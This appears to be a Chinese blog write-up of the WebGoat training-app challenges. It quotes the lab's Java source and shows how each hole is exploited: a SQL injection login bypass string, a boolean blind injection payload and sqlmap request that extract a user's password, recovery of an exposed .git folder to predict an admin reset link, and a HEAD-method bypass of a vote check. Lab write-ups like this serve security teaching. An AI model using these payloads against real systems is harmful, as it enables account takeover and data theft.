概述
這是 WebGoat 的最后一部分,主要內容是 WebGoat中的Challenge,前面還有 1 和 2。
Challenge
Admin lost password
本題目的服務端源代碼。
@AssignmentPath("/challenge/1") public class Assignment1 extends AssignmentEndpoint { @RequestMapping(method = RequestMethod.POST) public @ResponseBody AttackResult completed(@RequestParam String username, @RequestParam String password, HttpServletRequest request) throws IOException { boolean ipAddressKnown = true; boolean passwordCorrect = "admin".equals(username) && PASSWORD.equals(password); if (passwordCorrect && ipAddressKnown) { return success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(1)).build(); } else if (passwordCorrect) { return failed().feedback("ip.address.unknown").build(); } return failed().build(); } public static boolean containsHeader(HttpServletRequest request) { return StringUtils.hasText(request.getHeader("X-Forwarded-For")); } } public interface SolutionConstants { //TODO should be random generated when starting the server String PASSWORD = "!!webgoat_admin_1234!!"; String PASSWORD_TOM = "thisisasecretfortomonly"; String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2"; }
可以看到是直接用兩個輸入和兩個字符串常量做匹配,然后做了一個與操作。感覺無法繞過???
Without password
此題目要求用賬戶Larry登錄,這道題目是一道萬能密碼題目。
使用Larry/1' or '1'=1進行登錄就可以了,看一下題目源代碼
@RequestMapping(method = POST) @ResponseBody public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception { Connection connection = DatabaseUtilities.getConnection(webSession); checkDatabase(connection); if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) { return failed().feedback("required4").build(); } if (!"Larry".equals(username_login)) { return failed().feedback("user.not.larry").feedbackArgs(username_login).build(); } PreparedStatement statement = connection.prepareStatement("select password from " + USERS_TABLE_NAME + " where userid = '" + username_login + "' and password = '" + password_login + "'"); ResultSet resultSet = statement.executeQuery(); if (resultSet.next()) { return success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(5)).build(); } else { return failed().feedback("challenge.close").build(); } }
可以看到題目直接將接收到的用戶名和密碼代入了sql語句,所以使用萬能密碼后的拼好的完整sql語句為
select password from USERS_TABLE_NAME where userid = 'Larry' and password = '1' or '1'='1'
此語句永遠為為真,就登錄了。
Creating a new account
在注冊界面抓包后發現鏈接為 WebGoat/challenge/6
,查看源文件
@PutMapping //assignment path is bounded to class so we use different http method :-) @ResponseBody public AttackResult registerNewUser(@RequestParam String username_reg, @RequestParam String email_reg, @RequestParam String password_reg) throws Exception { AttackResult attackResult = checkArguments(username_reg, email_reg, password_reg); if (attackResult == null) { Connection connection = DatabaseUtilities.getConnection(webSession); checkDatabase(connection); String checkUserQuery = "select userid from " + USERS_TABLE_NAME + " where userid = '" + username_reg + "'"; Statement statement = connection.createStatement(); ResultSet resultSet = statement.executeQuery(checkUserQuery); if (resultSet.next()) { attackResult = failed().feedback("user.exists").feedbackArgs(username_reg).build(); } else { PreparedStatement preparedStatement = connection.prepareStatement("INSERT INTO " + USERS_TABLE_NAME + " VALUES (?, ?, ?)"); preparedStatement.setString(1, username_reg); preparedStatement.setString(2, email_reg); preparedStatement.setString(3, password_reg); preparedStatement.execute(); attackResult = success().feedback("user.created").feedbackArgs(username_reg).build(); } } return attackResult; }
發現在String checkUserQuery = "select userid from " + USERS_TABLE_NAME + " where userid = '" + username_reg + "'";
中直接把userid
插入了查詢用戶是否存在語句,則直接用sqlmap進行注入測試。測試包如下。
PUT /WebGoat/challenge/6 HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 84 Accept: */* Origin: http://127.0.0.1:8080 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://127.0.0.1:8080/WebGoat/start.mvc Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7 Cookie: JSESSIONID=A7D0A7096B5E9685DF152BC343A54B8E Connection: close username_reg=tom*&email_reg=Tom%40Tom.com&password_reg=tom&confirm_password_reg=tom1
可以看見,登錄過程和注冊信息入庫過程都啟用了預編譯,幾乎沒有什么注入可能,唯一有注入點的地方就是檢查用戶是否注冊過這里,直接把username_reg拼接在sql語句中,我的用戶名是breeze,再次注冊會提示我已經注冊過,但我如果把用戶名改為breeze’ and1=2 –就會提示我創建賬戶成功。這樣我們就可以在and后構造邏輯語句來進行布爾注入了。但問題是,如何知道表名。
在源碼中,我們看出,這張表每次使用都會創建新的,用完刪除,而表名是challenge_users_6加上隨機生成的16位長度的字符串,幾乎不可能暴力破解了。但它講表名輸出到了服務器的log上,所以我們可以去log查看本次的表名
這次的表名是challenge_users_6WDzKXNcjaYiNPkSr,根據這個表名構造邏輯語句,前面的用戶我們使用沒有注冊過的breeze123,那么查詢結果就是假,后面使用or+邏輯語句,這樣我們的邏輯語句是真就會返回假,是假就會返回真。
邏輯語句:
breeze123'+or+(select+left(password,1)+from+challenge_users_6WDzKXNcjaYiNPkSr+where+userid='tom')='a'+--
寫一個腳本就可以得到密碼 thisisasecretfortomonly了
Admin password reset
還是老問題,收不到郵件,這個題目是讓重置admin
用戶的密碼,當輸入郵箱后在WebWolf里什么也看不到,后發現發郵件時必須包含你當前的用戶名,比如我的用戶名是admin1,則應該給用戶admin1@xxx.xxx
發送。
接受到郵件后,點擊reset
鏈接。
說不是admin用戶,則說明此題我們需要構造出用戶admin
的重置鏈接。在題目鏈接下測試了一下.git
文件后,鏈接http://127.0.0.1:8080/WebGoat/challenge/7/.git
,打開發現是git的包,則回復使用一下。
將下載的git文件解壓,然后打開命令開,使用git status
來看一下狀態。
這里獲取文件后,可以通過jd-gui反編譯PasswordResetLink.class
看到源代碼。
/** * WARNING: DO NOT CHANGE FILE WITHOUT CHANGING .git contents * * @author nbaars * @since 8/17/17. */ public class PasswordResetLink { public String createPasswordReset(String username, String key) { Random random = new Random(); if (username.equalsIgnoreCase("admin")) { //Admin has a fix reset link random.setSeed(key.length()); } return scramble(random, scramble(random, scramble(random, MD5.getHashString(username)))); } public static String scramble(Random random, String inputString) { char a[] = inputString.toCharArray(); for (int i = 0; i < a.length; i++) { int j = random.nextInt(a.length); char temp = a[i]; a[i] = a[j]; a[j] = temp; } return new String(a); } public static void main(String[] args) { if (args == null || args.length != 2) { System.out.println("Need a username and key"); System.exit(1); } String username = args[0]; String key = args[1]; System.out.println("Generation password reset link for " + username); System.out.println("Created password reset link: " + new PasswordResetLink().createPasswordReset(username, key)); } }
關鍵代碼在createPasswordReset
中,可以發現是admin
用戶時,會把一個key的長度傳進Random函數里當做種子進行計算,所以就好辦了,按照createPasswordReset
的算法,將key的長度多嘗試幾次,如1-30,然后使用點擊訪問鏈接就可以了。
經過實際的工作,寫來一段代碼來看不同值的hash值。
發現當用戶為admin是,上圖兩個紅框內的內容是一樣的,按道理說是符合題目要求的,但是webgoate官方給出的hash為375afe1104f4a487a73823c50a9292a2
,應該是答案出了問題。
Without account
本題目需要用戶進行投票,如果成功,則功能通過,但是需要登錄后才能進行投票。
下面是獲取flag的關鍵代碼
@GetMapping(value = "/vote/{stars}", produces = MediaType.APPLICATION_JSON_VALUE) @ResponseBody public ResponseEntity<?> vote(@PathVariable(value = "stars") int nrOfStars, HttpServletRequest request) { //Simple implementation of VERB Based Authentication String msg = ""; if (request.getMethod().equals("GET")) { HashMap<String, Object> json = Maps.newHashMap(); json.put("error", true); json.put("message", "Sorry but you need to login first in order to vote"); return ResponseEntity.status(200).body(json); } Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0); votes.put(nrOfStars, allVotesForStar + 1); return ResponseEntity.ok().header("X-Flag", "Thanks for voting, your flag is: " + Flag.FLAGS.get(8)).build(); }
查看了源碼后發現,只要是GET請求都會返回失敗。但這個GetMapping就是get提交的,所以我的思路是,使用其他方法提交請求繞過,先將GET改為POST提交。
失敗了。
然后換成PUT,還是失敗,之后換成HEAD,發現了flag。(就是這么簡單)
所以這道題主要還是考對http協議的熟悉,假如就只知道提交方式GET,POST,PUT是做不出來的。